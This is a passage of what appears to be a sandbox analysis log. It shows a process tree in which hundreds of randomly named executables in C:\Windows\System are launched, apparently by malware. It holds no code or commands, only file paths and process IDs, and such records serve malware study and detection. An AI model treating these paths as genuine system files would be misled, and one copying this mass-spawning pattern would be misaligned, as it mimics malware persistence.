  PID:7944
- C:\Windows\System\nUAVVkT.exe
  C:\Windows\System\nUAVVkT.exe
  2⤵
  PID:7960
- C:\Windows\System\XyjVbDF.exe
  C:\Windows\System\XyjVbDF.exe
  2⤵
  PID:7976
- C:\Windows\System\mLFfzeT.exe
  C:\Windows\System\mLFfzeT.exe
  2⤵
  PID:7992
- C:\Windows\System\NjnPJwd.exe
  C:\Windows\System\NjnPJwd.exe
  2⤵
  PID:8008
- C:\Windows\System\ZOQQUCO.exe
  C:\Windows\System\ZOQQUCO.exe
  2⤵
  PID:8028
- C:\Windows\System\iGkDXaY.exe
  C:\Windows\System\iGkDXaY.exe
  2⤵
  PID:8044
- C:\Windows\System\FYfKaTc.exe
  C:\Windows\System\FYfKaTc.exe
  2⤵
  PID:8060
- C:\Windows\System\eEWqWPd.exe
  C:\Windows\System\eEWqWPd.exe
  2⤵
  PID:8076
- C:\Windows\System\ORUtYIZ.exe
  C:\Windows\System\ORUtYIZ.exe
  2⤵
  PID:8092
- C:\Windows\System\dgQaYVp.exe
  C:\Windows\System\dgQaYVp.exe
  2⤵
  PID:8108
- C:\Windows\System\tqfPIeF.exe
  C:\Windows\System\tqfPIeF.exe
  2⤵
  PID:8124
- C:\Windows\System\XSydlIG.exe
  C:\Windows\System\XSydlIG.exe
  2⤵
  PID:8140
- C:\Windows\System\wtgWLqh.exe
  C:\Windows\System\wtgWLqh.exe
  2⤵
  PID:8156
- C:\Windows\System\kyGFwET.exe
  C:\Windows\System\kyGFwET.exe
  2⤵
  PID:8172
- C:\Windows\System\rIKBdIH.exe
  C:\Windows\System\rIKBdIH.exe
  2⤵
  PID:7176
- C:\Windows\System\LDFPzFk.exe
  C:\Windows\System\LDFPzFk.exe
  2⤵
  PID:6216
- C:\Windows\System\KCnujxS.exe
  C:\Windows\System\KCnujxS.exe
  2⤵
  PID:5760
- C:\Windows\System\cSWsbWO.exe
  C:\Windows\System\cSWsbWO.exe
  2⤵
  PID:6432
- C:\Windows\System\XMcXXDC.exe
  C:\Windows\System\XMcXXDC.exe
  2⤵
  PID:5736
- C:\Windows\System\xSsiRPZ.exe
  C:\Windows\System\xSsiRPZ.exe
  2⤵
  PID:7212
- C:\Windows\System\dWtmejV.exe
  C:\Windows\System\dWtmejV.exe
  2⤵
  PID:6308
- C:\Windows\System\injLSJK.exe
  C:\Windows\System\injLSJK.exe
  2⤵
  PID:6928
- C:\Windows\System\dpiukUr.exe
  C:\Windows\System\dpiukUr.exe
  2⤵
  PID:6364
- C:\Windows\System\OQdJgzg.exe
  C:\Windows\System\OQdJgzg.exe
  2⤵
  PID:7032
- C:\Windows\System\DVttwEN.exe
  C:\Windows\System\DVttwEN.exe
  2⤵
  PID:6148
- C:\Windows\System\uzcSObK.exe
  C:\Windows\System\uzcSObK.exe
  2⤵
  PID:6152
- C:\Windows\System\kHCweoA.exe
  C:\Windows\System\kHCweoA.exe
  2⤵
  PID:6852
- C:\Windows\System\MXucWKv.exe
  C:\Windows\System\MXucWKv.exe
  2⤵
  PID:7192
- C:\Windows\System\cGSsxlu.exe
  C:\Windows\System\cGSsxlu.exe
  2⤵
  PID:7256
- C:\Windows\System\VtkpMeN.exe
  C:\Windows\System\VtkpMeN.exe
  2⤵
  PID:7296
- C:\Windows\System\NlqxHWB.exe
  C:\Windows\System\NlqxHWB.exe
  2⤵
  PID:7316
- C:\Windows\System\pQZuGun.exe
  C:\Windows\System\pQZuGun.exe
  2⤵
  PID:7380
- C:\Windows\System\Euqkjzj.exe
  C:\Windows\System\Euqkjzj.exe
  2⤵
  PID:7360
- C:\Windows\System\wOXzUCM.exe
  C:\Windows\System\wOXzUCM.exe
  2⤵
  PID:7476
- C:\Windows\System\qTHTHPu.exe
  C:\Windows\System\qTHTHPu.exe
  2⤵
  PID:7440
- C:\Windows\System\eYATVWv.exe
  C:\Windows\System\eYATVWv.exe
  2⤵
  PID:7424
- C:\Windows\System\isMfIzW.exe
  C:\Windows\System\isMfIzW.exe
  2⤵
  PID:7492
- C:\Windows\System\IuiaXUo.exe
  C:\Windows\System\IuiaXUo.exe
  2⤵
  PID:7556
- C:\Windows\System\lfPrpBp.exe
  C:\Windows\System\lfPrpBp.exe
  2⤵
  PID:7588
- C:\Windows\System\GZRBqUE.exe
  C:\Windows\System\GZRBqUE.exe
  2⤵
  PID:7632
- C:\Windows\System\XdvJUoc.exe
  C:\Windows\System\XdvJUoc.exe
  2⤵
  PID:7628
- C:\Windows\System\cIVTEyM.exe
  C:\Windows\System\cIVTEyM.exe
  2⤵
  PID:7616
- C:\Windows\System\wLZUaPo.exe
  C:\Windows\System\wLZUaPo.exe
  2⤵
  PID:7736
- C:\Windows\System\ByulpVj.exe
  C:\Windows\System\ByulpVj.exe
  2⤵
  PID:7744
- C:\Windows\System\oyhXjqw.exe
  C:\Windows\System\oyhXjqw.exe
  2⤵
  PID:7760
- C:\Windows\System\myaRLOi.exe
  C:\Windows\System\myaRLOi.exe
  2⤵
  PID:7684
- C:\Windows\System\FpgbHeL.exe
  C:\Windows\System\FpgbHeL.exe
  2⤵
  PID:7844
- C:\Windows\System\gMUfunx.exe
  C:\Windows\System\gMUfunx.exe
  2⤵
  PID:7908
- C:\Windows\System\qpXtWJz.exe
  C:\Windows\System\qpXtWJz.exe
  2⤵
  PID:7824
- C:\Windows\System\VFLsiOG.exe
  C:\Windows\System\VFLsiOG.exe
  2⤵
  PID:7788
- C:\Windows\System\yAHwAGr.exe
  C:\Windows\System\yAHwAGr.exe
  2⤵
  PID:7828
- C:\Windows\System\gityNbI.exe
  C:\Windows\System\gityNbI.exe
  2⤵
  PID:7956
- C:\Windows\System\qjdSYQh.exe
  C:\Windows\System\qjdSYQh.exe
  2⤵
  PID:7920
- C:\Windows\System\kLYqQlc.exe
  C:\Windows\System\kLYqQlc.exe
  2⤵
  PID:8068
- C:\Windows\System\hcSpigN.exe
  C:\Windows\System\hcSpigN.exe
  2⤵
  PID:8132
- C:\Windows\System\yzhEwIc.exe
  C:\Windows\System\yzhEwIc.exe
  2⤵
  PID:6728
- C:\Windows\System\UwCgrIw.exe
  C:\Windows\System\UwCgrIw.exe
  2⤵
  PID:5272
- C:\Windows\System\qKCgNge.exe
  C:\Windows\System\qKCgNge.exe
  2⤵
  PID:6924
- C:\Windows\System\nHRDKGd.exe
  C:\Windows\System\nHRDKGd.exe
  2⤵
  PID:6984
- C:\Windows\System\yNceVJs.exe
  C:\Windows\System\yNceVJs.exe
  2⤵
  PID:8056
- C:\Windows\System\PXqjGHI.exe
  C:\Windows\System\PXqjGHI.exe
  2⤵
  PID:8148
- C:\Windows\System\tLVyYhN.exe
  C:\Windows\System\tLVyYhN.exe
  2⤵
  PID:6812
- C:\Windows\System\OGixKlt.exe
  C:\Windows\System\OGixKlt.exe
  2⤵
  PID:8120
- C:\Windows\System\QPnnqHH.exe
  C:\Windows\System\QPnnqHH.exe
  2⤵
  PID:7140
- C:\Windows\System\CPnCebd.exe
  C:\Windows\System\CPnCebd.exe
  2⤵
  PID:6856
- C:\Windows\System\yysGvpy.exe
  C:\Windows\System\yysGvpy.exe
  2⤵
  PID:7344
- C:\Windows\System\oZQCFtM.exe
  C:\Windows\System\oZQCFtM.exe
  2⤵
  PID:7284
- C:\Windows\System\Esjjgbp.exe
  C:\Windows\System\Esjjgbp.exe
  2⤵
  PID:7472
- C:\Windows\System\lzTqOzJ.exe
  C:\Windows\System\lzTqOzJ.exe
  2⤵
  PID:7540
- C:\Windows\System\DgaXQun.exe
  C:\Windows\System\DgaXQun.exe
  2⤵
  PID:7664
- C:\Windows\System\KqltyHk.exe
  C:\Windows\System\KqltyHk.exe
  2⤵
  PID:7508
- C:\Windows\System\iXhLood.exe
  C:\Windows\System\iXhLood.exe
  2⤵
  PID:7876
- C:\Windows\System\jmvWNvC.exe
  C:\Windows\System\jmvWNvC.exe
  2⤵
  PID:7644
- C:\Windows\System\qlqJHXe.exe
  C:\Windows\System\qlqJHXe.exe
  2⤵
  PID:7840
- C:\Windows\System\XsXwECv.exe
  C:\Windows\System\XsXwECv.exe
  2⤵
  PID:8004
- C:\Windows\System\TQjMqef.exe
  C:\Windows\System\TQjMqef.exe
  2⤵
  PID:8168
- C:\Windows\System\dqLAswE.exe
  C:\Windows\System\dqLAswE.exe
  2⤵
  PID:8188
- C:\Windows\System\ymlEkYL.exe
  C:\Windows\System\ymlEkYL.exe
  2⤵
  PID:8180
- C:\Windows\System\CstCQbL.exe
  C:\Windows\System\CstCQbL.exe
  2⤵
  PID:7084
- C:\Windows\System\MgAnhps.exe
  C:\Windows\System\MgAnhps.exe
  2⤵
  PID:7444
- C:\Windows\System\YvThNUx.exe
  C:\Windows\System\YvThNUx.exe
  2⤵
  PID:7924
- C:\Windows\System\VTjnxoS.exe
  C:\Windows\System\VTjnxoS.exe
  2⤵
  PID:7128
- C:\Windows\System\keHyEsY.exe
  C:\Windows\System\keHyEsY.exe
  2⤵
  PID:6236
- C:\Windows\System\moqkhyw.exe
  C:\Windows\System\moqkhyw.exe
  2⤵
  PID:7720
- C:\Windows\System\NTpgJat.exe
  C:\Windows\System\NTpgJat.exe
  2⤵
  PID:7792
- C:\Windows\System\EXQhtTj.exe
  C:\Windows\System\EXQhtTj.exe
  2⤵
  PID:7776
- C:\Windows\System\BNMHfJw.exe
  C:\Windows\System\BNMHfJw.exe
  2⤵
  PID:6648
- C:\Windows\System\QpctOxR.exe
  C:\Windows\System\QpctOxR.exe
  2⤵
  PID:7544
- C:\Windows\System\rWzzJNu.exe
  C:\Windows\System\rWzzJNu.exe
  2⤵
  PID:8040
- C:\Windows\System\eTGdpeI.exe
  C:\Windows\System\eTGdpeI.exe
  2⤵
  PID:7348
- C:\Windows\System\qqCSiQU.exe
  C:\Windows\System\qqCSiQU.exe
  2⤵
  PID:8104
- C:\Windows\System\LePFnfq.exe
  C:\Windows\System\LePFnfq.exe
  2⤵
  PID:7648
- C:\Windows\System\kueZykq.exe
  C:\Windows\System\kueZykq.exe
  2⤵
  PID:6764
- C:\Windows\System\RtDtQQF.exe
  C:\Windows\System\RtDtQQF.exe
  2⤵
  PID:6892
- C:\Windows\System\DvoZKGy.exe
  C:\Windows\System\DvoZKGy.exe
  2⤵
  PID:7244
- C:\Windows\System\YaHAjfv.exe
  C:\Windows\System\YaHAjfv.exe
  2⤵
  PID:7860
- C:\Windows\System\IiKKyAC.exe
  C:\Windows\System\IiKKyAC.exe
  2⤵
  PID:7396
- C:\Windows\System\ROlSjza.exe
  C:\Windows\System\ROlSjza.exe
  2⤵
  PID:6544
- C:\Windows\System\nbQEVtW.exe
  C:\Windows\System\nbQEVtW.exe
  2⤵
  PID:7376
- C:\Windows\System\xrallNf.exe
  C:\Windows\System\xrallNf.exe
  2⤵
  PID:8052
- C:\Windows\System\wqwnKOX.exe
  C:\Windows\System\wqwnKOX.exe
  2⤵
  PID:7228
- C:\Windows\System\iAoBLZX.exe
  C:\Windows\System\iAoBLZX.exe
  2⤵
  PID:7584
- C:\Windows\System\JyeEkwX.exe
  C:\Windows\System\JyeEkwX.exe
  2⤵
  PID:8200
- C:\Windows\System\uDuWmdQ.exe
  C:\Windows\System\uDuWmdQ.exe
  2⤵
  PID:8216
- C:\Windows\System\PgLhuWs.exe
  C:\Windows\System\PgLhuWs.exe
  2⤵
  PID:8232
- C:\Windows\System\JECeZvB.exe
  C:\Windows\System\JECeZvB.exe
  2⤵
  PID:8248
- C:\Windows\System\IdhhssH.exe
  C:\Windows\System\IdhhssH.exe
  2⤵
  PID:8264
- C:\Windows\System\CUShQcl.exe
  C:\Windows\System\CUShQcl.exe
  2⤵
  PID:8280
- C:\Windows\System\pCTNCAz.exe
  C:\Windows\System\pCTNCAz.exe
  2⤵
  PID:8296
- C:\Windows\System\vgnjrgk.exe
  C:\Windows\System\vgnjrgk.exe
  2⤵
  PID:8312
- C:\Windows\System\MoNzXVv.exe
  C:\Windows\System\MoNzXVv.exe
  2⤵
  PID:8328
- C:\Windows\System\zLgFYxI.exe
  C:\Windows\System\zLgFYxI.exe
  2⤵
  PID:8344
- C:\Windows\System\WFHJCpg.exe
  C:\Windows\System\WFHJCpg.exe
  2⤵
  PID:8360
- C:\Windows\System\RbkEPeU.exe
  C:\Windows\System\RbkEPeU.exe
  2⤵
  PID:8376
- C:\Windows\System\FpntNiP.exe
  C:\Windows\System\FpntNiP.exe
  2⤵
  PID:8396
- C:\Windows\System\fLdPVuu.exe
  C:\Windows\System\fLdPVuu.exe
  2⤵
  PID:8412
- C:\Windows\System\ApWROVT.exe
  C:\Windows\System\ApWROVT.exe
  2⤵
  PID:8428
- C:\Windows\System\oAsNCHb.exe
  C:\Windows\System\oAsNCHb.exe
  2⤵
  PID:8448
- C:\Windows\System\rwRTTTv.exe
  C:\Windows\System\rwRTTTv.exe
  2⤵
  PID:8464
- C:\Windows\System\pUeczKh.exe
  C:\Windows\System\pUeczKh.exe
  2⤵
  PID:8480
- C:\Windows\System\vreVYsI.exe
  C:\Windows\System\vreVYsI.exe
  2⤵
  PID:8496
- C:\Windows\System\CZHuirE.exe
  C:\Windows\System\CZHuirE.exe
  2⤵
  PID:8516
- C:\Windows\System\WCRWEGW.exe
  C:\Windows\System\WCRWEGW.exe
  2⤵
  PID:8532
- C:\Windows\System\TsxsxsY.exe
  C:\Windows\System\TsxsxsY.exe
  2⤵
  PID:8560
- C:\Windows\System\jiJIVGY.exe
  C:\Windows\System\jiJIVGY.exe
  2⤵
  PID:8576
- C:\Windows\System\BlWIojL.exe
  C:\Windows\System\BlWIojL.exe
  2⤵
  PID:8592
- C:\Windows\System\YAkYqqZ.exe
  C:\Windows\System\YAkYqqZ.exe
  2⤵
  PID:8608
- C:\Windows\System\RiGifyG.exe
  C:\Windows\System\RiGifyG.exe
  2⤵
  PID:8624
- C:\Windows\System\PSqZgtp.exe
  C:\Windows\System\PSqZgtp.exe
  2⤵
  PID:8640
- C:\Windows\System\uTziNrG.exe
  C:\Windows\System\uTziNrG.exe
  2⤵
  PID:8660
- C:\Windows\System\AgjenKX.exe
  C:\Windows\System\AgjenKX.exe
  2⤵
  PID:8680
- C:\Windows\System\fBToYwU.exe
  C:\Windows\System\fBToYwU.exe
  2⤵
  PID:8700
- C:\Windows\System\tmcEXcI.exe
  C:\Windows\System\tmcEXcI.exe
  2⤵
  PID:8720
- C:\Windows\System\eVjHLkq.exe
  C:\Windows\System\eVjHLkq.exe
  2⤵
  PID:8736
- C:\Windows\System\xGiLgIx.exe
  C:\Windows\System\xGiLgIx.exe
  2⤵
  PID:8756
- C:\Windows\System\KHFsJJI.exe
  C:\Windows\System\KHFsJJI.exe
  2⤵
  PID:8776
- C:\Windows\System\HbcAvQk.exe
  C:\Windows\System\HbcAvQk.exe
  2⤵
  PID:8800
- C:\Windows\System\zplUWwb.exe
  C:\Windows\System\zplUWwb.exe
  2⤵
  PID:8820
- C:\Windows\System\TmqOswX.exe
  C:\Windows\System\TmqOswX.exe
  2⤵
  PID:8840
- C:\Windows\System\ByTQDSC.exe
  C:\Windows\System\ByTQDSC.exe
  2⤵
  PID:8856
- C:\Windows\System\KxoOtST.exe
  C:\Windows\System\KxoOtST.exe
  2⤵
  PID:8876
- C:\Windows\System\iOQExmE.exe
  C:\Windows\System\iOQExmE.exe
  2⤵
  PID:8900
- C:\Windows\System\FKJGlDC.exe
  C:\Windows\System\FKJGlDC.exe
  2⤵
  PID:8916
- C:\Windows\System\qQMyiKZ.exe
  C:\Windows\System\qQMyiKZ.exe
  2⤵
  PID:8932
- C:\Windows\System\ZLTxPVG.exe
  C:\Windows\System\ZLTxPVG.exe
  2⤵
  PID:8948
- C:\Windows\System\rKNQqeO.exe
  C:\Windows\System\rKNQqeO.exe
  2⤵
  PID:8964
- C:\Windows\System\DUFGacU.exe
  C:\Windows\System\DUFGacU.exe
  2⤵
  PID:8980
- C:\Windows\System\lnsfCgB.exe
  C:\Windows\System\lnsfCgB.exe
  2⤵
  PID:8996
- C:\Windows\System\FRfGjFi.exe
  C:\Windows\System\FRfGjFi.exe
  2⤵
  PID:9012
- C:\Windows\System\aohZurS.exe
  C:\Windows\System\aohZurS.exe
  2⤵
  PID:9028
- C:\Windows\System\JrPbcds.exe
  C:\Windows\System\JrPbcds.exe
  2⤵
  PID:9044
- C:\Windows\System\rEcErPV.exe
  C:\Windows\System\rEcErPV.exe
  2⤵
  PID:9060
- C:\Windows\System\VzEeukZ.exe
  C:\Windows\System\VzEeukZ.exe
  2⤵
  PID:9076
- C:\Windows\System\fmyWzVB.exe
  C:\Windows\System\fmyWzVB.exe
  2⤵
  PID:9092
- C:\Windows\System\aFGEHRq.exe
  C:\Windows\System\aFGEHRq.exe
  2⤵
  PID:9108
- C:\Windows\System\NFMSZHi.exe
  C:\Windows\System\NFMSZHi.exe
  2⤵
  PID:9128
- C:\Windows\System\NTfBPoC.exe
  C:\Windows\System\NTfBPoC.exe
  2⤵
  PID:9144
- C:\Windows\System\shiBMlv.exe
  C:\Windows\System\shiBMlv.exe
  2⤵
  PID:9160
- C:\Windows\System\Vkscrfb.exe
  C:\Windows\System\Vkscrfb.exe
  2⤵
  PID:9176
- C:\Windows\System\cnvNLUX.exe
  C:\Windows\System\cnvNLUX.exe
  2⤵
  PID:9192
- C:\Windows\System\TJoamnz.exe
  C:\Windows\System\TJoamnz.exe
  2⤵
  PID:9208
- C:\Windows\System\DsQPYTk.exe
  C:\Windows\System\DsQPYTk.exe
  2⤵
  PID:8208
- C:\Windows\System\rbMjHYM.exe
  C:\Windows\System\rbMjHYM.exe
  2⤵
  PID:8304
- C:\Windows\System\bqAJttY.exe
  C:\Windows\System\bqAJttY.exe
  2⤵
  PID:8336
- C:\Windows\System\vWWaWBn.exe
  C:\Windows\System\vWWaWBn.exe
  2⤵
  PID:8288
- C:\Windows\System\jxFubQE.exe
  C:\Windows\System\jxFubQE.exe
  2⤵
  PID:8224
- C:\Windows\System\CHvguuV.exe
  C:\Windows\System\CHvguuV.exe
  2⤵
  PID:8324
- C:\Windows\System\iXFaduD.exe
  C:\Windows\System\iXFaduD.exe
  2⤵
  PID:8408
- C:\Windows\System\mHqiVOO.exe
  C:\Windows\System\mHqiVOO.exe
  2⤵
  PID:8420
- C:\Windows\System\nvUIJRR.exe
  C:\Windows\System\nvUIJRR.exe
  2⤵
  PID:8504
- C:\Windows\System\xPgXXOc.exe
  C:\Windows\System\xPgXXOc.exe
  2⤵
  PID:8492
- C:\Windows\System\dCWucdB.exe
  C:\Windows\System\dCWucdB.exe
  2⤵
  PID:8544
- C:\Windows\System\romusuF.exe
  C:\Windows\System\romusuF.exe
  2⤵
  PID:8556
- C:\Windows\System\GaIqdFA.exe
  C:\Windows\System\GaIqdFA.exe
  2⤵
  PID:8616
- C:\Windows\System\wpkXawa.exe
  C:\Windows\System\wpkXawa.exe
  2⤵
  PID:8572
- C:\Windows\System\zHxZRoe.exe
  C:\Windows\System\zHxZRoe.exe
  2⤵
  PID:8636
- C:\Windows\System\YeLxOwN.exe
  C:\Windows\System\YeLxOwN.exe
  2⤵
  PID:8828
- C:\Windows\System\pLfUzPZ.exe
  C:\Windows\System\pLfUzPZ.exe
  2⤵
  PID:8892
- C:\Windows\System\ExsQWNm.exe
  C:\Windows\System\ExsQWNm.exe
  2⤵
  PID:8836
- C:\Windows\System\SEEZmDe.exe
  C:\Windows\System\SEEZmDe.exe
  2⤵
  PID:8960
- C:\Windows\System\yAJYfap.exe
  C:\Windows\System\yAJYfap.exe
  2⤵
  PID:8908
- C:\Windows\System\GkNNscH.exe
  C:\Windows\System\GkNNscH.exe
  2⤵
  PID:8972
- C:\Windows\System\KLiJkpB.exe
  C:\Windows\System\KLiJkpB.exe
  2⤵
  PID:9056
- C:\Windows\System\cWGeiEh.exe
  C:\Windows\System\cWGeiEh.exe
  2⤵
  PID:9116
- C:\Windows\System\QSqiGmO.exe
  C:\Windows\System\QSqiGmO.exe
  2⤵
  PID:9184
- C:\Windows\System\jWKTRKx.exe
  C:\Windows\System\jWKTRKx.exe
  2⤵
  PID:9172
- C:\Windows\System\byZNXYA.exe
  C:\Windows\System\byZNXYA.exe
  2⤵
  PID:9200
- C:\Windows\System\yHCWBoF.exe
  C:\Windows\System\yHCWBoF.exe
  2⤵
  PID:8368
- C:\Windows\System\oKQATBP.exe
  C:\Windows\System\oKQATBP.exe
  2⤵
  PID:8356
- C:\Windows\System\jjGQQWc.exe
  C:\Windows\System\jjGQQWc.exe
  2⤵
  PID:8272
- C:\Windows\System\mXnjkKm.exe
  C:\Windows\System\mXnjkKm.exe
  2⤵
  PID:8472
- C:\Windows\System\XULUSRs.exe
  C:\Windows\System\XULUSRs.exe
  2⤵
  PID:8508
- C:\Windows\System\beZQOBO.exe
  C:\Windows\System\beZQOBO.exe
  2⤵
  PID:8688
- C:\Windows\System\CiwRBtN.exe
  C:\Windows\System\CiwRBtN.exe
  2⤵
  PID:8884
- C:\Windows\System\zWpLehw.exe
  C:\Windows\System\zWpLehw.exe
  2⤵
  PID:8792
- C:\Windows\System\MybycEo.exe
  C:\Windows\System\MybycEo.exe
  2⤵
  PID:8528
- C:\Windows\System\SXyhPaO.exe
  C:\Windows\System\SXyhPaO.exe
  2⤵
  PID:8940
- C:\Windows\System\cLEQdVs.exe
  C:\Windows\System\cLEQdVs.exe
  2⤵
  PID:8548
- C:\Windows\System\stkRtco.exe
  C:\Windows\System\stkRtco.exe
  2⤵
  PID:8424
- C:\Windows\System\aOybFqs.exe
  C:\Windows\System\aOybFqs.exe
  2⤵
  PID:8584
- C:\Windows\System\dZCgGDw.exe
  C:\Windows\System\dZCgGDw.exe
  2⤵
  PID:8600
- C:\Windows\System\xnGWCTv.exe
  C:\Windows\System\xnGWCTv.exe
  2⤵
  PID:9088
- C:\Windows\System\OsJoxUV.exe
  C:\Windows\System\OsJoxUV.exe
  2⤵
  PID:8404
- C:\Windows\System\WQvyZAa.exe
  C:\Windows\System\WQvyZAa.exe
  2⤵
  PID:6832
- C:\Windows\System\YaKLcFB.exe
  C:\Windows\System\YaKLcFB.exe
  2⤵
  PID:7568
- C:\Windows\System\xKSSimr.exe
  C:\Windows\System\xKSSimr.exe
  2⤵
  PID:8992
- C:\Windows\System\laepami.exe
  C:\Windows\System\laepami.exe
  2⤵
  PID:8788
- C:\Windows\System\spykubp.exe
  C:\Windows\System\spykubp.exe
  2⤵
  PID:9136
- C:\Windows\System\VEeuNhB.exe
  C:\Windows\System\VEeuNhB.exe
  2⤵
  PID:9040
- C:\Windows\System\CbRhpAW.exe
  C:\Windows\System\CbRhpAW.exe
  2⤵
  PID:8340
- C:\Windows\System\MrvbsVN.exe
  C:\Windows\System\MrvbsVN.exe
  2⤵
  PID:8240
- C:\Windows\System\XqpnTgv.exe
  C:\Windows\System\XqpnTgv.exe
  2⤵
  PID:9104
- C:\Windows\System\mGrmnUm.exe
  C:\Windows\System\mGrmnUm.exe
  2⤵
  PID:6168
- C:\Windows\System\OlgVmkD.exe
  C:\Windows\System\OlgVmkD.exe
  2⤵
  PID:9024
- C:\Windows\System\CDtOnij.exe
  C:\Windows\System\CDtOnij.exe
  2⤵
  PID:8988
- C:\Windows\System\nOKqTtZ.exe
  C:\Windows\System\nOKqTtZ.exe
  2⤵
  PID:9156
- C:\Windows\System\qMeREiW.exe
  C:\Windows\System\qMeREiW.exe
  2⤵
  PID:8444
- C:\Windows\System\ceznLYj.exe
  C:\Windows\System\ceznLYj.exe
  2⤵
  PID:8716
- C:\Windows\System\NkCAQIp.exe
  C:\Windows\System\NkCAQIp.exe
  2⤵
  PID:8456
- C:\Windows\System\qhdtfQc.exe
  C:\Windows\System\qhdtfQc.exe
  2⤵
  PID:8440
- C:\Windows\System\SfBhVLJ.exe
  C:\Windows\System\SfBhVLJ.exe
  2⤵
  PID:9020
- C:\Windows\System\dRoDgrC.exe
  C:\Windows\System\dRoDgrC.exe
  2⤵
  PID:9072
- C:\Windows\System\YayqKDz.exe
  C:\Windows\System\YayqKDz.exe
  2⤵
  PID:9004
- C:\Windows\System\wOUdypv.exe
  C:\Windows\System\wOUdypv.exe
  2⤵
  PID:1544
- C:\Windows\System\UdHyTMJ.exe
  C:\Windows\System\UdHyTMJ.exe
  2⤵
  PID:8260
- C:\Windows\System\qZOggLN.exe
  C:\Windows\System\qZOggLN.exe
  2⤵
  PID:9232
- C:\Windows\System\pQJmOKD.exe
  C:\Windows\System\pQJmOKD.exe
  2⤵
  PID:9248
- C:\Windows\System\TNhueED.exe
  C:\Windows\System\TNhueED.exe
  2⤵
  PID:9264
- C:\Windows\System\WkVQpZj.exe
  C:\Windows\System\WkVQpZj.exe
  2⤵
  PID:9288
- C:\Windows\System\mrmUgKy.exe
  C:\Windows\System\mrmUgKy.exe
  2⤵
  PID:9304
- C:\Windows\System\rPqfulC.exe
  C:\Windows\System\rPqfulC.exe
  2⤵
  PID:9320
- C:\Windows\System\DRNxObC.exe
  C:\Windows\System\DRNxObC.exe
  2⤵
  PID:9336
- C:\Windows\System\HPuwkEZ.exe
  C:\Windows\System\HPuwkEZ.exe
  2⤵
  PID:9356
- C:\Windows\System\SsPODwR.exe
  C:\Windows\System\SsPODwR.exe
  2⤵
  PID:9372
- C:\Windows\System\ipPyzjy.exe
  C:\Windows\System\ipPyzjy.exe
  2⤵
  PID:9388
- C:\Windows\System\PohYsEe.exe
  C:\Windows\System\PohYsEe.exe
  2⤵
  PID:9408
- C:\Windows\System\usXvIlz.exe
  C:\Windows\System\usXvIlz.exe
  2⤵
  PID:9464
- C:\Windows\System\dwIauYq.exe
  C:\Windows\System\dwIauYq.exe
  2⤵
  PID:9480
- C:\Windows\System\gMMGcsd.exe
  C:\Windows\System\gMMGcsd.exe
  2⤵
  PID:9504
- C:\Windows\System\gmopYng.exe
  C:\Windows\System\gmopYng.exe
  2⤵
  PID:9524
- C:\Windows\System\FCemLJF.exe
  C:\Windows\System\FCemLJF.exe
  2⤵
  PID:9540
- C:\Windows\System\adouizf.exe
  C:\Windows\System\adouizf.exe
  2⤵
  PID:9560
- C:\Windows\System\tOYABZi.exe
  C:\Windows\System\tOYABZi.exe
  2⤵
  PID:9580
- C:\Windows\System\HtLcEGv.exe
  C:\Windows\System\HtLcEGv.exe
  2⤵
  PID:9596
- C:\Windows\System\aqtCKzj.exe
  C:\Windows\System\aqtCKzj.exe
  2⤵
  PID:9620
- C:\Windows\System\kFkygnM.exe
  C:\Windows\System\kFkygnM.exe
  2⤵
  PID:9636
- C:\Windows\System\WEUqGYa.exe
  C:\Windows\System\WEUqGYa.exe
  2⤵
  PID:9652
- C:\Windows\System\QHTsKKx.exe
  C:\Windows\System\QHTsKKx.exe
  2⤵
  PID:9672
- C:\Windows\System\cqNIIjB.exe
  C:\Windows\System\cqNIIjB.exe
  2⤵
  PID:9692
- C:\Windows\System\lCujjlC.exe
  C:\Windows\System\lCujjlC.exe
  2⤵
  PID:9716
- C:\Windows\System\bdpybdI.exe
  C:\Windows\System\bdpybdI.exe
  2⤵
  PID:9736
- C:\Windows\System\UmTxtXz.exe
  C:\Windows\System\UmTxtXz.exe
  2⤵
  PID:9760
- C:\Windows\System\iFqjTde.exe
  C:\Windows\System\iFqjTde.exe
  2⤵
  PID:9776
- C:\Windows\System\bxikNDa.exe
  C:\Windows\System\bxikNDa.exe
  2⤵
  PID:9792
- C:\Windows\System\ulfsVGi.exe
  C:\Windows\System\ulfsVGi.exe
  2⤵
  PID:9812
- C:\Windows\System\yUNqEkW.exe
  C:\Windows\System\yUNqEkW.exe
  2⤵
  PID:9828
- C:\Windows\System\OSrpVQl.exe
  C:\Windows\System\OSrpVQl.exe
  2⤵
  PID:9844
- C:\Windows\System\XUCgxEY.exe
  C:\Windows\System\XUCgxEY.exe
  2⤵
  PID:9864
- C:\Windows\System\xxLtpWi.exe
  C:\Windows\System\xxLtpWi.exe
  2⤵
  PID:9892
- C:\Windows\System\AnWtdtd.exe
  C:\Windows\System\AnWtdtd.exe
  2⤵
  PID:9936
- C:\Windows\System\fSKkxjY.exe
  C:\Windows\System\fSKkxjY.exe
  2⤵
  PID:9952
- C:\Windows\System\JBZeNXf.exe
  C:\Windows\System\JBZeNXf.exe
  2⤵
  PID:9968
- C:\Windows\System\jKzOllf.exe
  C:\Windows\System\jKzOllf.exe
  2⤵
  PID:9984
- C:\Windows\System\jnGOMbu.exe
  C:\Windows\System\jnGOMbu.exe
  2⤵
  PID:10000
- C:\Windows\System\duiZSBq.exe
  C:\Windows\System\duiZSBq.exe
  2⤵
  PID:10020
- C:\Windows\System\kfovixL.exe
  C:\Windows\System\kfovixL.exe
  2⤵
  PID:10036
- C:\Windows\System\IfoYHuM.exe
  C:\Windows\System\IfoYHuM.exe
  2⤵
  PID:10052
- C:\Windows\System\dbaUEUY.exe
  C:\Windows\System\dbaUEUY.exe
  2⤵
  PID:10084
- C:\Windows\System\nZibNTP.exe
  C:\Windows\System\nZibNTP.exe
  2⤵
  PID:10104
- C:\Windows\System\uGIBNYT.exe
  C:\Windows\System\uGIBNYT.exe
  2⤵
  PID:10124
- C:\Windows\System\pEFwcxZ.exe
  C:\Windows\System\pEFwcxZ.exe
  2⤵
  PID:10144
- C:\Windows\System\vRaRxgg.exe
  C:\Windows\System\vRaRxgg.exe
  2⤵
  PID:10176
- C:\Windows\System\Lxtgtbh.exe
  C:\Windows\System\Lxtgtbh.exe
  2⤵
  PID:10192
- C:\Windows\System\lGWGTHl.exe
  C:\Windows\System\lGWGTHl.exe
  2⤵
  PID:10212
- C:\Windows\System\JlpJmlQ.exe
  C:\Windows\System\JlpJmlQ.exe
  2⤵
  PID:10228
- C:\Windows\System\HdKhFjH.exe
  C:\Windows\System\HdKhFjH.exe
  2⤵
  PID:9244
- C:\Windows\System\glMmefq.exe
  C:\Windows\System\glMmefq.exe
